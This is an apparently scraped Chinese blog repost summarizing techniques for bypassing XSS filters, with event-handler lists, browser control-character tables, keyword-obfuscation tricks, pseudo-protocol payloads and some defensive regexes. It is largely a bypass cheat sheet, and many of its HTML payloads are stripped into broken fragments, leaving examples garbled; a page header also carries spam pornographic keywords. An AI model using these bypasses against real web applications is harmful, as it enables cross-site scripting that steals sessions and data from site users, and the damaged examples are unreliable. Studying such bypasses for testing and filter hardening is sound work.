日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

xss绕过字符过滤_XSS过滤器绕过总结

發(fā)布時(shí)間:2025/4/5 编程问答 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xss绕过字符过滤_XSS过滤器绕过总结 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

XSS過濾器繞過總結(jié)

黑名單過濾器繞過

黑名單模式下的過濾器是最常見的。他們的目標(biāo)是檢測特定模式并防止惡意行為。這完全是“模式”的問題,它們越準(zhǔn)確,就越可以攔截攻擊。

1. 注入腳本代碼

主要是

1.1 繞過弱

簡單的過濾器無法涵蓋所有可能的情況,所以可以繞開它們。 以下示例僅是對弱規(guī)則的一些繞過。

#大寫和小寫字符

#標(biāo)簽后加隨機(jī)字符串

ipt>alert(1)ipt> #嵌套標(biāo)簽(雙寫)

alert(1) #NULL字節(jié)

1.2 ModSecurity > 基于標(biāo)簽的XSS向量規(guī)則

這是ModSecurity過濾

SecRule ARGS "(?i)(

顯然,我們插入腳本代碼方法不是唯一的。 有多種方法可以運(yùn)行我們的代碼,例如不同的HTML標(biāo)簽和相關(guān)的事件。

1.3 除

show

send

send

#可使用https://github.com/evilcos/xss.swf

1.4 除

事件是訪問者與HTML DOM之間交互性的方式; 這只需通過執(zhí)行客戶端代碼(JavaScript)來實(shí)現(xiàn)。

幾乎所有事件處理程序標(biāo)識符都以on開頭,后跟事件名稱。 最常用的一種是onerror,

常用On事件

onsearch

onwebkitanimationend

onwebkitanimationiteration

onwebkitanimationstart

onwebkittransitionend

onabort

onblur

oncancel

oncanplay

oncanplaythrough

onchange

onclick

onclose

oncontextmenu

oncuechange

ondblclick

ondrag

ondragend

ondragenter

ondragleave

ondragover

ondragstart

ondrop

ondurationchange

onemptied

onended

onerror

onfocus

onformdata

oninput

oninvalid

onkeydown

onkeypress

onkeyup

onload

onloadeddata

onloadedmetadata

onloadstart

onmousedown

onmouseenter

onmouseleave

onmousemove

onmouseout

onmouseover

onmouseup

onmousewheel

onpause

onplay

onplaying

onprogress

onratechange

onreset

onresize

onscroll

onseeked

onseeking

onselect

onstalled

onsubmit

onsuspend

ontimeupdate

ontoggle

onvolumechange

onwaiting

onwheel

onauxclick

ongotpointercapture

onlostpointercapture

onpointerdown

onpointermove

onpointerup

onpointercancel

onpointerover

onpointerout

onpointerenter

onpointerleave

onselectstart

onselectionchange

onanimationend

onanimationiteration

onanimationstart

ontransitionend

onafterprint

onbeforeprint

onbeforeunload

onhashchange

onlanguagechange

onmessage

onmessageerror

onoffline

ononline

onpagehide

onpageshow

onpopstate

onrejectionhandled

onstorage

onunhandledrejection

onunload

以下是一些HTML 4標(biāo)簽示例:

以下是一些HTML 5標(biāo)簽示例:

從防御的角度來看,解決此問題方案是過濾所有以on開頭的事件,防止XSS。

這是一個被廣泛使用的正則表達(dá)式(on\w+\s*=)

由于HTML和瀏覽器“動態(tài)性”的結(jié)合,我們可以輕松繞過這個過濾器:

因此有了“升級”版過濾器:(?i)([\s\"'`;\/0-9\=]+on\w+\s*=)

但是仍然存在問題。 某些瀏覽器將一些特殊字符轉(zhuǎn)換為空格,因此\ s元字符不足以覆蓋所有可能的字符。

例如以下的一些繞過方法:

#適用于除Safari以外的所有瀏覽器

#只適用IE

在事件名稱(例如onload)和等號(=)字符之間或在事件名稱之前可用的控制字符列表,

IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]

Chrome = [0x09,0x20,0x28,0x2C,0x3B]

Safari = [0x2C,0x3B]

FireFox = [0x09,0x20,0x28,0x2C,0x3B]

Opera = [0x09,0x20,0x2C,0x3B]

Android = [0x09,0x20,0x28,0x2C,0x3B]

迄今為止,有效防守的正則表達(dá)式規(guī)則應(yīng)為:

(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3B]*?=)

一些過濾器可能會阻止某些關(guān)鍵字的使用來阻止腳本代碼的執(zhí)行,例如:alert,javascript,eval等。

alert() 可嘗試使用一下方法進(jìn)行繞過

top['ale'+'rt']()

a\u006cert()

alert``

top['a\u006ce'+'rt']``

2. 字符編碼

JavaScript允許使用各種字符編碼類型,這些類型使我們能夠執(zhí)行代碼,而不是被解釋為文字形式。

2.1 Unicode

alert 會被攔截

可使用Unicode編碼繞過

2.2十進(jìn)制,八進(jìn)制,十六進(jìn)制

則除了Unicode外,我們還可以采用多種編碼

同時(shí)可使用多種編碼

2.3 構(gòu)造字符串

通常alert關(guān)鍵字被阻止,但是很可能未檢測到“ ale” +“ rt”。

JavaScript具有一些可用于創(chuàng)建字符串的函數(shù)。

/ale/.source+/rt/.source

String.fromCharCode(97,108,101,114,116)

atob("YWxlcnQ=")

17795081..toString(36)

2.4 偽協(xié)議

javascript:不需要事件處理; 因此,我們應(yīng)該避免使用它。由于偽協(xié)議通常是在字符串中引入的,因此我們可以使用之前看到的所有變體。

data="javascript:alert(1)">

除了javascript還有vbscript 、data。

data:[][;base64],

prettyprint lang-js

prettyprint lang-js

vbscript偽協(xié)議不是很常見,因?yàn)樗荒茉贗nternet Explorer上使用。

#適用IE8

#適用IE8

#適用IE Edge

#適用IE Edge

其他繞過

1. 刪除HTML標(biāo)簽

安全機(jī)制通常選擇對潛在的XSS向量進(jìn)行清理,而不是阻塞整個請求。 這些可能是我們在測試過程中可能遇到的最常見的過濾器。

例如,最常見的是對一些關(guān)鍵字符進(jìn)行HTML編碼,例如 < (<), > (>)等。這并不總是足夠的,并且取決于不可信數(shù)據(jù)在頁面的哪一點(diǎn)被注入。

在某些情況下,過濾器可能會刪除惡意關(guān)鍵字。 例如,刪除

此行為的一個常見錯誤是該規(guī)則僅刪除匹配表達(dá)式的第一個實(shí)例。

ipt>alert(1)

此外,如果過濾器執(zhí)行遞歸檢查,則應(yīng)始終檢查它是否仍可利用。遞歸檢查可能是按順序進(jìn)行的,也許更改插入字符串的順序可能繞過。

它們以

ipt>alert(1)

2. 轉(zhuǎn)義

這不僅是HTML標(biāo)記的問題,而且注入點(diǎn)通常位于帶引號的字符串內(nèi)。 通常,過濾器將反斜杠字符(\)放在引號之前,以轉(zhuǎn)義此類字符。

2.1 轉(zhuǎn)義’

還需要轉(zhuǎn)義反斜杠以避免旁路。 例如,假設(shè)我們可以在以下代碼中控制值randomkey,但是引號已轉(zhuǎn)義:

var key = 'randomkey';

如果我們插入randomkey \'alert(1)而不是randomkey,

這是因?yàn)樵搼?yīng)用程序?qū)⒃谵D(zhuǎn)換我們的輸入時(shí)避免使用’, randomkey\\'; alert(1); //

這只會轉(zhuǎn)義反斜杠,從而使我們可以終止字符串并插入alert代碼。

String.fromCharCode()可使我們能夠從Unicode值序列開始生成字符串。

String.fromCharCode(120,115,9416)

/your string/.source

我們還可以使用unescape方法來轉(zhuǎn)義生成的字符串。 例如,我們可以使用.source技術(shù)對字符串進(jìn)行轉(zhuǎn)義。

unescape(/%78%u0073%73/.source)即使不推薦使用此功能,許多瀏覽器仍支持該功能。

除此之外,還有decodeURI和encodeURIComponent方法。 在這種情況下,需要對字符進(jìn)行URL編碼,以避免URI格式錯誤。

decodeURI(/alert(%22xss%22)/.source)

decodeURIComponent(/alert(%22xss%22)/.source)

2.2 轉(zhuǎn)義括號

括號是調(diào)用函數(shù)和傳遞參數(shù)的基礎(chǔ)。 如果一個潛在的過濾器刪除了我們插入的payload中的所有括號,我們應(yīng)該怎么做? 有一種在不帶括號的情況下將參數(shù)傳遞給函數(shù)的方法。

該技術(shù)濫用了作為窗口對象一部分的onerror處理程序,一旦使用throw和分配給該錯誤處理程序的函數(shù)的參數(shù)生成了錯誤,就為該函數(shù)分配了要調(diào)用的函數(shù)。

Other

Input 標(biāo)簽 z-index為-1

z-index 屬性設(shè)置元素的堆疊順序。擁有更高堆疊順序的元素總是會處于堆疊順序較低的元素的前面。

input 標(biāo)簽 會被 a 標(biāo)簽遮擋 無法觸發(fā)XSS漏洞

adasdsa

onblur 事件會在對象失去焦點(diǎn)時(shí)發(fā)生。

payload:

οnblur=alert(/Test/) autofocus

總結(jié)

以上是生活随笔為你收集整理的xss绕过字符过滤_XSS过滤器绕过总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。